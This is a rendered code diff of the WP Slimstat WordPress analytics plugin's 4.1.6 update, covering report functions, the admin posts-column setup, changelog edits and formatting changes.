$results[ 6 ][ 'value' ] = number_format( $new_visitors_rate, 2, wp_slimstat_db::$formats[ 'decimal' ], wp_slimstat_db::$formats[ 'thousand' ] );
|
1440 |
+
$results[ 6 ][ 'tooltip' ] = __( 'Percentage of single page visits, i.e. visits in which the person left your site from the entrance page.', 'wp-slimstat' );
|
|
|
|
|
|
|
|
|
1441 |
|
1442 |
+
$results[ 7 ][ 'metric' ] = __( 'Currently from search engines', 'wp-slimstat' );
|
1443 |
+
$results[ 7 ][ 'value' ] = number_format( wp_slimstat_db::count_records( 'id', "searchterms IS NOT NULL AND referer IS NOT NULL AND referer NOT LIKE '%" . home_url() . "%' AND dt > UNIX_TIMESTAMP() - 300", false ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
|
1444 |
+
$results[ 7 ][ 'tooltip' ] = __( 'Visitors who visited the site in the last 5 minutes coming from a search engine.', 'wp-slimstat' );
|
1445 |
|
1446 |
+
return $results;
|
|
|
|
|
1447 |
}
|
1448 |
|
1449 |
public static function show_rankings(){
|
1531 |
}
|
1532 |
}
|
1533 |
|
1534 |
+
public static function get_your_blog(){
|
1535 |
+
if ( false === ( $results = get_transient( 'slimstat_your_content' ) ) ) {
|
1536 |
+
$results = array();
|
1537 |
+
|
1538 |
+
$results[ 0 ][ 'metric' ] = __( 'Content Items', 'wp-slimstat' );
|
1539 |
+
$results[ 0 ][ 'value' ] = number_format( $GLOBALS[ 'wpdb' ]->get_var( "SELECT COUNT(*) FROM {$GLOBALS['wpdb']->posts} WHERE post_type <> 'revision' AND post_status <> 'auto-draft'" ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
|
1540 |
+
$results[ 0 ][ 'tooltip' ] = __( 'This value includes not only posts, but also custom post types, regardless of their status', 'wp-slimstat' );
|
1541 |
+
|
1542 |
+
$results[ 1 ][ 'metric' ] = __( 'Posts', 'wp-slimstat' );
|
1543 |
+
$results[ 1 ][ 'value' ] = $GLOBALS[ 'wpdb' ]->get_var( "SELECT COUNT(*) FROM {$GLOBALS['wpdb']->posts} WHERE post_type = 'post'" );
|
1544 |
+
|
1545 |
+
$results[ 2 ][ 'metric' ] = __( 'Pages', 'wp-slimstat' );
|
1546 |
+
$results[ 2 ][ 'value' ] = number_format( $GLOBALS[ 'wpdb' ]->get_var( "SELECT COUNT(*) FROM {$GLOBALS['wpdb']->posts} WHERE post_type = 'page'" ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
|
1547 |
+
|
1548 |
+
$results[ 3 ][ 'metric' ] = __( 'Attachments', 'wp-slimstat' );
|
1549 |
+
$results[ 3 ][ 'value' ] = number_format( $GLOBALS[ 'wpdb' ]->get_var( "SELECT COUNT(*) FROM {$GLOBALS['wpdb']->posts} WHERE post_type = 'attachment'" ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
|
1550 |
+
|
1551 |
+
$results[ 4 ][ 'metric' ] = __( 'Revisions', 'wp-slimstat' );
|
1552 |
+
$results[ 4 ][ 'value' ] = number_format( $GLOBALS[ 'wpdb' ]->get_var( "SELECT COUNT(*) FROM {$GLOBALS['wpdb']->posts} WHERE post_type = 'revision'" ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
|
1553 |
+
|
1554 |
+
$results[ 5 ][ 'metric' ] = __( 'Comments', 'wp-slimstat' );
|
1555 |
+
$results[ 5 ][ 'value' ] = $GLOBALS[ 'wpdb' ]->get_var( "SELECT COUNT(*) FROM {$GLOBALS['wpdb']->comments}" );
|
1556 |
+
|
1557 |
+
$results[ 6 ][ 'metric' ] = __( 'Avg Comments per Post', 'wp-slimstat' );
|
1558 |
+
$results[ 6 ][ 'value' ] = number_format( !empty( $results[ 1 ][ 'value' ] ) ? $results[ 5 ][ 'value' ] / $results[ 1 ][ 'value' ] : 0, 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
|
1559 |
+
|
1560 |
+
$results[ 7 ][ 'metric' ] = __( 'Avg Server Latency', 'wp-slimstat' );
|
1561 |
+
$results[ 7 ][ 'value' ] = number_format( wp_slimstat::$wpdb->get_var( "SELECT AVG(server_latency) FROM {$GLOBALS[ 'wpdb' ]->prefix }slim_stats WHERE server_latency <> 0" ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
|
1562 |
+
$results[ 7 ][ 'tooltip' ] = __( 'Latency is the amount of time it takes for the host server to receive and process a request for a page object. The amount of latency depends largely on how far away the user is from the server.', 'wp-slimstat' );
|
1563 |
+
|
1564 |
+
$results[ 1 ][ 'value' ] = number_format( $results[ 1 ][ 'value' ], 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
|
1565 |
+
$results[ 5 ][ 'value' ] = number_format( $results[ 5 ][ 'value' ], 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
|
1566 |
+
|
1567 |
+
// Store values as transients for 30 minutes
|
1568 |
+
set_transient( 'slimstat_your_content', $results, 1800 );
|
1569 |
+
}
|
1570 |
+
|
1571 |
+
return $results;
|
1572 |
+
}
|
1573 |
+
|
1574 |
+
public static function show_events( $_args = array() ) {
|
1575 |
+
$all_results = call_user_func( $_args[ 'raw' ] , $_args );
|
1576 |
+
|
1577 |
+
$results = array_slice(
|
1578 |
+
$all_results,
|
1579 |
+
wp_slimstat_db::$filters_normalized[ 'misc' ][ 'start_from' ],
|
1580 |
+
wp_slimstat::$options[ 'rows_to_show' ]
|
1581 |
+
);
|
1582 |
+
|
1583 |
+
// Count the results
|
1584 |
+
$count_page_results = count( $results );
|
1585 |
+
|
1586 |
+
if ($count_page_results == 0){
|
1587 |
+
echo '<p class="nodata">'.__('No data to display','wp-slimstat').'</p>';
|
1588 |
+
|
1589 |
+
if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
|
1590 |
+
die();
|
1591 |
+
}
|
1592 |
+
else{
|
1593 |
+
return array();
|
1594 |
+
}
|
1595 |
+
}
|
1596 |
+
|
1597 |
+
self::report_pagination( $count_page_results, count( $all_results ) );
|
1598 |
+
$is_expanded = ( wp_slimstat::$options['expand_details'] == 'yes' ) ? ' expanded' : '';
|
1599 |
+
|
1600 |
+
foreach ( $results as $a_result ) {
|
1601 |
+
echo "<p>{$a_result[ 'notes' ]} <b class='slimstat-row-details$is_expanded'>" . __( 'Type', 'wp-slimstat' ) . ": {$a_result[ 'type' ]}";
|
1602 |
+
|
1603 |
+
if ( !empty( $a_result[ 'dt' ] ) ) {
|
1604 |
+
$date_time = date_i18n( wp_slimstat::$options[ 'date_format' ] . ' ' . wp_slimstat::$options[ 'time_format' ], $a_result[ 'dt' ], true );
|
1605 |
+
echo '<br/>' . __( 'Coordinates', 'wp-slimstat' ) . ": {$a_result[ 'position' ]}<br/>" . __( 'Date', 'wp-slimstat' ) . ": $date_time";
|
1606 |
+
}
|
1607 |
+
if ( !empty( $a_result[ 'counthits' ] ) ) {
|
1608 |
+
echo '<br/>' . __( 'Hits', 'wp-slimstat' ) . ": {$a_result[ 'counthits' ]}";
|
1609 |
+
}
|
1610 |
+
|
1611 |
+
echo "</b></p>";
|
1612 |
+
}
|
1613 |
+
|
1614 |
+
if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
|
1615 |
+
die();
|
1616 |
+
}
|
1617 |
+
}
|
1618 |
+
|
1619 |
public static function show_getsocial() {
|
1620 |
if ( !empty( $_POST[ 'fs' ][ 'addon_enable_getsocial' ] ) ) {
|
1621 |
wp_slimstat::$options[ 'enable_getsocial' ] = 'yes';
|
1760 |
die();
|
1761 |
}
|
1762 |
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1763 |
|
1764 |
public static function get_search_terms_info($_searchterms = '', $_referer = '', $_serp_only = false){
|
1765 |
$query_details = '';
|
1843 |
|
1844 |
if (!empty($filters_normalized['columns'])){
|
1845 |
foreach($filters_normalized['columns'] as $a_key => $a_filter){
|
1846 |
+
$a_key = str_replace( '_calculated', '', $a_key );
|
1847 |
$filtered_url .= "&fs%5B$a_key%5D=".urlencode($a_filter[0].' '.$a_filter[1]);
|
1848 |
}
|
1849 |
}
|
1879 |
|
1880 |
// Is this a post or a page?
|
1881 |
$post_id = url_to_postid( $_resource );
|
1882 |
+
|
1883 |
if ( $post_id > 0 ) {
|
1884 |
$resource_title = get_the_title( $post_id );
|
1885 |
}
|
admin/wp-slimstat-admin.php
CHANGED
@@ -11,7 +11,8 @@ class wp_slimstat_admin{
|
|
11 |
*/
|
12 |
public static function init(){
|
13 |
if ((wp_slimstat::$options['enable_ads_network'] == 'yes' || wp_slimstat::$options['enable_ads_network'] == 'no')){
|
14 |
-
self::$admin_notice = "
|
|
|
15 |
self::$admin_notice .= '<br/><br/><a id="slimstat-hide-admin-notice" href="#" class="button-secondary">Got it, thanks</a>';
|
16 |
}
|
17 |
else {
|
@@ -104,11 +105,14 @@ class wp_slimstat_admin{
|
|
104 |
add_action('admin_menu', array(__CLASS__, 'wp_slimstat_add_config_menu'));
|
105 |
|
106 |
// Display the column in the Edit Posts / Pages screen
|
107 |
-
if (wp_slimstat::$options['add_posts_column'] == 'yes'){
|
108 |
-
|
109 |
-
|
110 |
-
|
111 |
-
|
|
|
|
|
|
|
112 |
|
113 |
if ( strpos( $_SERVER['REQUEST_URI'], 'edit.php' ) !== false ) {
|
114 |
add_action('admin_enqueue_scripts', array(__CLASS__, 'wp_slimstat_stylesheet'));
|
@@ -739,24 +743,25 @@ class wp_slimstat_admin{
|
|
739 |
* Adds a new column to the Posts management panel
|
740 |
*/
|
741 |
public static function add_post_column($_column_name, $_post_id){
|
742 |
-
if ('wp-slimstat' != $_column_name)
|
|
|
|
|
743 |
|
744 |
-
include_once(dirname(__FILE__).'/view/wp-slimstat-reports.php');
|
745 |
wp_slimstat_reports::init();
|
746 |
|
747 |
-
if (wp_slimstat::$options['posts_column_day_interval']
|
748 |
-
wp_slimstat::$options['posts_column_day_interval'] = 30;
|
749 |
}
|
750 |
|
751 |
-
$parsed_permalink = parse_url( get_permalink($_post_id) );
|
752 |
-
$parsed_permalink = $parsed_permalink['path'].(!empty($parsed_permalink['query'])?'?'
|
753 |
-
wp_slimstat_db::init('resource contains '
|
754 |
|
755 |
-
if (wp_slimstat::$options['posts_column_pageviews'] == 'yes'){
|
756 |
$count = wp_slimstat_db::count_records();
|
757 |
}
|
758 |
else{
|
759 |
-
$count = wp_slimstat_db::count_records('ip'
|
760 |
}
|
761 |
echo '<a href="'.wp_slimstat_reports::fs_url("resource contains $parsed_permalink&&&day equals ".date_i18n('d').'&&&month equals '.date_i18n('m').'&&&year equals '.date_i18n('Y').'&&&interval equals '.wp_slimstat::$options['posts_column_day_interval'].'&&interval_direction equals minus').'">'.$count.'</a>';
|
762 |
}
|
11 |
*/
|
12 |
public static function init(){
|
13 |
if ((wp_slimstat::$options['enable_ads_network'] == 'yes' || wp_slimstat::$options['enable_ads_network'] == 'no')){
|
14 |
+
self::$admin_notice = "Two new members just joined the big family of add-ons available on our store: <a href='http://www.wp-slimstat.com/downloads/heartbeat/' target='_blank'>Heartbeat</a> and <a href='http://www.wp-slimstat.com/downloads/whitelist-manager/' target='_blank'>Whitelist Manager</a>. The former increases the accuracy of visit durations, and the latter allows you to determine what pageviews should be tracked by Slimstat, based on criteria like username, IP address, permalink, country and referring URL. Go get your copy today!";
|
15 |
+
// self::$admin_notice = "Isn't it nice when a WordPress Forum moderator <a href='https://wordpress.org/support/topic/statistics-30' target='_blank'>recommends our plugin</a> to users asking what analytics tool to use for their website? And what about the joy of being listed on the <a href='http://plugintable.com/' target='_blank'>Periodic Table of WordPress Plugins</a> ranking? Thank you 1.6 million times for showing your appreciation and support, and making Slimstat one of the leading analytics tools for WordPress.";
|
16 |
self::$admin_notice .= '<br/><br/><a id="slimstat-hide-admin-notice" href="#" class="button-secondary">Got it, thanks</a>';
|
17 |
}
|
18 |
else {
|
105 |
add_action('admin_menu', array(__CLASS__, 'wp_slimstat_add_config_menu'));
|
106 |
|
107 |
// Display the column in the Edit Posts / Pages screen
|
108 |
+
if ( wp_slimstat::$options['add_posts_column'] == 'yes' ) {
|
109 |
+
$post_types = get_post_types( array( 'public' => true, 'show_ui' => true ), 'names' );
|
110 |
+
include_once( dirname(__FILE__) . '/view/wp-slimstat-reports.php' );
|
111 |
+
|
112 |
+
foreach ( $post_types as $a_post_type ) {
|
113 |
+
add_filter("manage_{$a_post_type}_posts_columns", array(__CLASS__, 'add_column_header'));
|
114 |
+
add_action("manage_{$a_post_type}_posts_custom_column", array(__CLASS__, 'add_post_column'), 10, 2);
|
115 |
+
}
|
116 |
|
117 |
if ( strpos( $_SERVER['REQUEST_URI'], 'edit.php' ) !== false ) {
|
118 |
add_action('admin_enqueue_scripts', array(__CLASS__, 'wp_slimstat_stylesheet'));
|
743 |
* Adds a new column to the Posts management panel
|
744 |
*/
|
745 |
public static function add_post_column($_column_name, $_post_id){
|
746 |
+
if ( 'wp-slimstat' != $_column_name ) {
|
747 |
+
return;
|
748 |
+
}
|
749 |
|
|
|
750 |
wp_slimstat_reports::init();
|
751 |
|
752 |
+
if ( empty( wp_slimstat::$options[ 'posts_column_day_interval' ] ) ) {
|
753 |
+
wp_slimstat::$options[ 'posts_column_day_interval' ] = 30;
|
754 |
}
|
755 |
|
756 |
+
$parsed_permalink = parse_url( get_permalink( $_post_id ) );
|
757 |
+
$parsed_permalink = $parsed_permalink[ 'path' ] . ( !empty( $parsed_permalink[ 'query' ] ) ? '?' . $parsed_permalink[ 'query' ] : '' );
|
758 |
+
wp_slimstat_db::init( 'resource contains ' . $parsed_permalink . '&&&hour equals 0&&&day equals ' . date_i18n( 'd' ) . '&&&month equals ' . date_i18n( 'm' ) . '&&&year equals ' . date_i18n( 'Y' ) . '&&&interval equals ' . wp_slimstat::$options[ 'posts_column_day_interval' ] . '&&&interval_direction equals minus' );
|
759 |
|
760 |
+
if ( wp_slimstat::$options[ 'posts_column_pageviews' ] == 'yes' ) {
|
761 |
$count = wp_slimstat_db::count_records();
|
762 |
}
|
763 |
else{
|
764 |
+
$count = wp_slimstat_db::count_records( 'ip' );
|
765 |
}
|
766 |
echo '<a href="'.wp_slimstat_reports::fs_url("resource contains $parsed_permalink&&&day equals ".date_i18n('d').'&&&month equals '.date_i18n('m').'&&&year equals '.date_i18n('Y').'&&&interval equals '.wp_slimstat::$options['posts_column_day_interval'].'&&interval_direction equals minus').'">'.$count.'</a>';
|
767 |
}
|
readme.txt
CHANGED
@@ -4,7 +4,7 @@ Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_i
|
|
4 |
Tags: analytics, tracking, reports, analyze, wassup, geolocation, online users, spider, tracker, pageviews, stats, maxmind, statistics, statpress
|
5 |
Requires at least: 3.8
|
6 |
Tested up to: 4.3
|
7 |
-
Stable tag: 4.1.
|
8 |
|
9 |
== Description ==
|
10 |
[youtube https://www.youtube.com/watch?v=iJCtjxArq4U]
|
@@ -59,6 +59,14 @@ Our knowledge base is available on our [support center](http://docs.wp-slimstat.
|
|
59 |
|
60 |
== Changelog ==
|
61 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
62 |
= 4.1.5.2 =
|
63 |
* [Note] We are still getting support requests from users having issues with Slimstat because of the GeoLite add-on that was distributed a few months ago. If you are still using this separate add-on, we'd like to remind you that Slimstat 4 introduced a new more intuitive way of managing the MaxMind Geolocation database bundled with our software. Actually, the free Geolite plugin is not compatible with the latest version of Slimstat, because of the IPv6 support we introduced a few weeks ago. We recommend that you uninstall the add-on from your systems, thus improving the overall performance of your website. As usual, do not hesitate to contact us if you have any questions.
|
64 |
* [Update] Restored Activity Log report in the WordPress Dashboard.
|
@@ -186,50 +194,6 @@ Our knowledge base is available on our [support center](http://docs.wp-slimstat.
|
|
186 |
* [Fix] Implemented a more robust fix for the issue with download_url throwing an undefined function error (this is supposed to be part of [WP Core](https://codex.wordpress.org/Function_Reference/download_url)!)
|
187 |
* [Fix] When dragging boxes around, the placeholder was not being displayed in the right place.
|
188 |
|
189 |
-
= 3.9.9 =
|
190 |
-
* [Fix] Some users get an error where download_url is undefined. This is a WordPress core function, so we're really not sure why that is happening to those few users. We included a fix that makes sure the function exists before calling it.
|
191 |
-
|
192 |
-
= 3.9.8.2 =
|
193 |
-
* [Note] Browscap.org just released a new version of their database, but it looks like [it has some issues](https://groups.google.com/forum/#!topic/browscap/x0onOyHz-D0). We'll wait for a more stable release and then update our optimized version of their db.
|
194 |
-
* [Fix] Some users are reporting problems related to the compressed (gzipped) version of the MaxMind GeoLite DB introduced in version 3.9.8.1. We updated our code to unzip the database before the tracker uses it. Please note: if your install is working as expected, you can skip this update.
|
195 |
-
|
196 |
-
= 3.9.8.1 =
|
197 |
-
* [Note] After further discussing with the repo moderators the incompatibility issue regarding the license under which MaxMind GeoLite is released, we were able to implement a much easier way to enable the geolocation functionality in Slimstat. There's no need to download a separate plugin anymore! Just go to Slimstat > Settings > Maintenance tab, and click on Install GeoLite DB. Of course, you can always deactivate this feature by clicking on the corresponding button under the Maintenance tab.
|
198 |
-
* [Note] If you had downloaded and installed our Get Country add-on, you can now *uninstall* it from your server. We apologize for any inconvenience this might have caused.
|
199 |
-
* [New] A warning message is now displayed on the reports screens to remind you to install the GeoLite database. You can hide this message by enabling the corresponding option under Slimstat > Settings > Reports tab > Miscellaneous section.
|
200 |
-
* [Update] Some of the Settings screens have been cleaned up and reorganized
|
201 |
-
* [Update] Cleaned up the interface for better readability
|
202 |
-
* [Update] Removed banner from our partner ManageWP
|
203 |
-
|
204 |
-
= 3.9.8 =
|
205 |
-
* [New] A few new options under Slimstat > Settings > General tab > WordPress Integration section, allow you to have more control over the information displayed in the Posts admin screen (thank you, Brad).
|
206 |
-
|
207 |
-
= 3.9.7 =
|
208 |
-
* [Note] The uninstall routine now deletes the archive table (wp_slim_stats_archive) along with all the other tables (thank you, KalleL)
|
209 |
-
* [New] Some users who are using our "track external sites" feature, were getting an error saying that no 'Access-Control-Allow-Origin' header was present on the requested resource. We've added a new option under Settings > Advanced that allows you to specify what domains to allow. Please refer to [this page](http://www.w3.org/TR/cors/#security) for more information about the security implications of allowing an external domain to submit AJAX requests to your server.
|
210 |
-
* [New] Added debugging information (most recent tracker error code) under Slimstat > Settings > Maintenance tab > Debugging. This information is useful to troubleshoot issues with the tracker. Please include it when sending a support request.
|
211 |
-
* [Fix] The option to delete pageviews based on given filters (Settings > Maintenance > Data Maintenance) was not working as expected (thank you, [kentahayashi](https://wordpress.org/support/topic/cant-delete-pageviews-on-version-396))
|
212 |
-
* [Fix] The uninstall script was not deleting all the tables as expected (thank you, [KalleL](https://wordpress.org/support/topic/unable-to-uninstall-wp-slimstat-from-db))
|
213 |
-
* [Fix] We've implemented [Marc-Alexandre's new recommendations](http://blog.sucuri.net/2015/02/security-advisory-wp-slimstat-3-9-5-and-lower.html) to further tighten up our SQL queries.
|
214 |
-
* [Fix] The new encryption key was affecting the way external sites could be tracked. You can now track non-WP sites again: please make sure to copy and paste the new tracking code (Settings > Advanced) right before your closing BODY tag at the end of your pages.
|
215 |
-
|
216 |
-
= 3.9.6 =
|
217 |
-
* [Note] The security of our users' data is our top priority, and for this reason we tightened our SQL queries and made our encryption key harder to guess. If you are using a caching plugin, please flush its cache so that the tracking code can be regenerated with the new key. Also, if you are using Slimstat to track external websites, please make sure to replace the tracking code with the new one available under Settings > Advanced. As usual, feel free to contact us if you have any questions.
|
218 |
-
* [Note] Added un-minified js tracker to the repo, for those who would like to take a look at how things work.
|
219 |
-
* [New] Introduced option to ignore bots when in Server-side mode.
|
220 |
-
* [Update] Cleaned up the Settings/Filters screen by consolidating some options.
|
221 |
-
* [Update] AmMap has been updated to version 3.13.1
|
222 |
-
* [Update] MaxMind GeoLite IP has been updated to the latest version (2015-02-04).
|
223 |
-
* [Fix] Patched a rare SQL injection vulnerability exploitable using a bruteforce attack on the secret key (used to encrypt the data between client and server).
|
224 |
-
* [Fix] Increased checks on SQL code that stores data in the database (maybe_insert_row).
|
225 |
-
* [Fix] Report filters could not be removed after being set.
|
226 |
-
|
227 |
-
= 3.9.5 =
|
228 |
-
* [Note] Some of our add-ons had a bug preventing them from properly checking for updates. Please [contact us](http://support.wp-slimstat.com) if you need to obtain the latest version of your add-ons.
|
229 |
-
* [Update] The Save button in the settings is now always visible, so that there is no need to scroll all the way to the bottom to save your options.
|
230 |
-
* [Update] More data layer updates introduced in wp_slimstat_db. Keep an eye on your custom add-ons!
|
231 |
-
* [Fix] Pagination was not working as expected when a date range was set in the filters (thank you, [nick-v](https://wordpress.org/support/topic/paging-is-broke))
|
232 |
-
|
233 |
== Special Thanks To ==
|
234 |
|
235 |
* [Vitaly](http://www.visbiz.org/), who volunteers quite a lot of time for QA, testing, and for his Russian localization.
|
4 |
Tags: analytics, tracking, reports, analyze, wassup, geolocation, online users, spider, tracker, pageviews, stats, maxmind, statistics, statpress
|
5 |
Requires at least: 3.8
|
6 |
Tested up to: 4.3
|
7 |
+
Stable tag: 4.1.6
|
8 |
|
9 |
== Description ==
|
10 |
[youtube https://www.youtube.com/watch?v=iJCtjxArq4U]
|
59 |
|
60 |
== Changelog ==
|
61 |
|
62 |
+
= 4.1.6 =
|
63 |
+
* [New] Administrators can now set the maximum number of records that should be retrieved from the database when generating the reports (Settings > Reports). This allows those with powerful servers and unlimited PHP resources to increase this limit and get a more accurate picture of their visitors.
|
64 |
+
* [New] Extended the export functionality (via our premium Export to Excel add-on) to reports like At a Glance, Rankings, Audience Overview, etc (thank you, Tiffany).
|
65 |
+
* [Fix] Undefined variable 'temp' in wp-slimstat-admin.php (thank you, [candidhams](https://wordpress.org/support/topic/undefined-variable-temp-in-wp-slimstat-adminphp)).
|
66 |
+
* [Fix] Referrers and other information were not being displayed when the Access Log report was refreshed through the admin button (thank you, [Diggories](https://wordpress.org/support/topic/losing-referrers-on-refresh)).
|
67 |
+
* [Fix] Warning message in Top Entry Pages and Top Exit Pages (thank you, Romain).
|
68 |
+
* [Fix] The link in the admin bar, when the corresponding option was enabled, was interfering with some admin bar plugins (thank you, Christian)
|
69 |
+
|
70 |
= 4.1.5.2 =
|
71 |
* [Note] We are still getting support requests from users having issues with Slimstat because of the GeoLite add-on that was distributed a few months ago. If you are still using this separate add-on, we'd like to remind you that Slimstat 4 introduced a new more intuitive way of managing the MaxMind Geolocation database bundled with our software. Actually, the free Geolite plugin is not compatible with the latest version of Slimstat, because of the IPv6 support we introduced a few weeks ago. We recommend that you uninstall the add-on from your systems, thus improving the overall performance of your website. As usual, do not hesitate to contact us if you have any questions.
|
72 |
* [Update] Restored Activity Log report in the WordPress Dashboard.
|
194 |
* [Fix] Implemented a more robust fix for the issue with download_url throwing an undefined function error (this is supposed to be part of [WP Core](https://codex.wordpress.org/Function_Reference/download_url)!)
|
195 |
* [Fix] When dragging boxes around, the placeholder was not being displayed in the right place.
|
196 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
197 |
== Special Thanks To ==
|
198 |
|
199 |
* [Vitaly](http://www.visbiz.org/), who volunteers quite a lot of time for QA, testing, and for his Russian localization.
|
wp-slimstat.php
CHANGED
@@ -3,7 +3,7 @@
|
|
3 |
Plugin Name: WP Slimstat
|
4 |
Plugin URI: http://wordpress.org/plugins/wp-slimstat/
|
5 |
Description: The leading web analytics plugin for WordPress
|
6 |
-
Version: 4.1.
|
7 |
Author: Camu
|
8 |
Author URI: http://www.wp-slimstat.com/
|
9 |
*/
|
@@ -11,7 +11,7 @@ Author URI: http://www.wp-slimstat.com/
|
|
11 |
if ( !empty( wp_slimstat::$options ) ) return true;
|
12 |
|
13 |
class wp_slimstat {
|
14 |
-
public static $version = '4.1.
|
15 |
public static $options = array();
|
16 |
|
17 |
public static $wpdb = '';
|
@@ -35,36 +35,36 @@ class wp_slimstat {
|
|
35 |
self::$options = array_merge( self::init_options(), self::$options );
|
36 |
|
37 |
// Allow third party tools to edit the options
|
38 |
-
self::$options = apply_filters('slimstat_init_options', self::$options);
|
39 |
|
40 |
// Determine the options' signature: if it hasn't changed, there's no need to update/save them in the database
|
41 |
-
self::$options_signature = md5(serialize(self::$options));
|
42 |
|
43 |
// Allow third-party tools to use a custom database for Slimstat
|
44 |
-
self::$wpdb = apply_filters('slimstat_custom_wpdb', $GLOBALS['wpdb']);
|
45 |
|
46 |
// Add a menu to the admin bar ( this function is declared here and not in wp_slimstat_admin because the latter is only initialized if is_admin(), and not in the front-end )
|
47 |
-
if (self::$options['use_separate_menu'] != 'yes' && is_admin_bar_showing()){
|
48 |
-
add_action('admin_bar_menu', array(__CLASS__, 'wp_slimstat_adminbar'), 100);
|
49 |
}
|
50 |
|
51 |
// Hook a DB clean-up routine to the daily cronjob
|
52 |
-
add_action('wp_slimstat_purge', array(__CLASS__, 'wp_slimstat_purge'));
|
53 |
|
54 |
// Allow external domains on CORS requests
|
55 |
-
add_filter('allowed_http_origins', array(__CLASS__, 'open_cors_admin_ajax'));
|
56 |
|
57 |
// Define the folder where to store the geolocation database
|
58 |
-
self::$maxmind_path = apply_filters('slimstat_maxmind_path', wp_upload_dir());
|
59 |
-
self::$maxmind_path = self::$maxmind_path['basedir'].'/wp-slimstat/maxmind.dat';
|
60 |
|
61 |
// Enable the tracker (both server- and client-side)
|
62 |
-
if (!is_admin() || self::$options['track_admin_pages'] == 'yes'){
|
63 |
// Allow add-ons to turn off the tracker based on other conditions
|
64 |
-
$is_tracking_filter = apply_filters('slimstat_filter_pre_tracking', true);
|
65 |
-
$is_tracking_filter_js = apply_filters('slimstat_filter_pre_tracking_js', true);
|
66 |
|
67 |
-
$action_to_hook = is_admin()?'admin_init':'wp';
|
68 |
|
69 |
// Is server-side tracking active?
|
70 |
if (self::$options['javascript_mode'] != 'yes' && self::$options['is_tracking'] == 'yes' && $is_tracking_filter){
|
@@ -82,8 +82,10 @@ class wp_slimstat {
|
|
82 |
}
|
83 |
}
|
84 |
|
85 |
-
if (self::$options['enable_ads_network'] == 'yes'){
|
86 |
-
|
|
|
|
|
87 |
}
|
88 |
}
|
89 |
|
@@ -146,7 +148,7 @@ class wp_slimstat {
|
|
146 |
}
|
147 |
}
|
148 |
|
149 |
-
self::
|
150 |
}
|
151 |
|
152 |
// Was this pageview tracked?
|
@@ -181,7 +183,7 @@ class wp_slimstat {
|
|
181 |
$event_info['notes'] = strip_tags(trim(base64_decode(self::$data_js['no'])));
|
182 |
}
|
183 |
|
184 |
-
self::
|
185 |
}
|
186 |
|
187 |
// Send the ID back to Javascript to track future interactions
|
@@ -213,11 +215,11 @@ class wp_slimstat {
|
|
213 |
return $_argument;
|
214 |
}
|
215 |
|
216 |
-
if (!empty(self::$data_js['ref'])){
|
217 |
-
self::$stat['referer'] = base64_decode(self::$data_js['ref']);
|
218 |
}
|
219 |
-
else if (!empty($_SERVER['HTTP_REFERER'])){
|
220 |
-
self::$stat['referer'] = $_SERVER['HTTP_REFERER'];
|
221 |
}
|
222 |
|
223 |
if ( !empty( self::$stat[ 'referer' ] ) ) {
|
@@ -454,7 +456,9 @@ class wp_slimstat {
|
|
454 |
}
|
455 |
|
456 |
// Detect user agent
|
457 |
-
self::$browser
|
|
|
|
|
458 |
|
459 |
// Are we ignoring bots?
|
460 |
if ( ( self::$options[ 'javascript_mode' ] == 'yes' || self::$options[ 'ignore_bots' ] == 'yes' ) && self::$browser[ 'browser_type' ] % 2 != 0 ) {
|
@@ -479,8 +483,8 @@ class wp_slimstat {
|
|
479 |
$cookie_has_been_set = self::_set_visit_id(false);
|
480 |
|
481 |
// Allow third-party tools to modify all the data we've gathered so far
|
482 |
-
self::$stat = apply_filters('slimstat_filter_pageview_stat', self::$stat);
|
483 |
-
do_action('slimstat_track_pageview', self::$stat);
|
484 |
|
485 |
// Third-party tools can decide that this pageview should not be tracked, by setting its datestamp to zero
|
486 |
if (empty(self::$stat) || empty(self::$stat['dt'])){
|
@@ -493,7 +497,7 @@ class wp_slimstat {
|
|
493 |
self::$stat[ 'notes' ] = implode( ';', self::$stat[ 'notes' ] );
|
494 |
|
495 |
// Now let's save this information in the database
|
496 |
-
self::$stat['id'] = self::
|
497 |
|
498 |
// Something went wrong during the insert
|
499 |
if (empty(self::$stat['id'])){
|
@@ -624,6 +628,57 @@ class wp_slimstat {
|
|
624 |
}
|
625 |
// end get_request_uri
|
626 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
627 |
/**
|
628 |
* Tries to find the user's REAL IP address
|
629 |
*/
|
@@ -709,16 +764,19 @@ class wp_slimstat {
|
|
709 |
* Returns details about the resource being accessed
|
710 |
*/
|
711 |
protected static function _get_content_info(){
|
712 |
-
$content_info = array('content_type' => 'unknown');
|
713 |
|
714 |
// Mark 404 pages
|
715 |
-
if (is_404()){
|
716 |
-
$content_info['content_type'] = '404';
|
717 |
}
|
718 |
|
719 |
// Type
|
720 |
-
|
721 |
-
if (($post_type = get_post_type()) != 'post')
|
|
|
|
|
|
|
722 |
$content_info['content_type'] = $post_type;
|
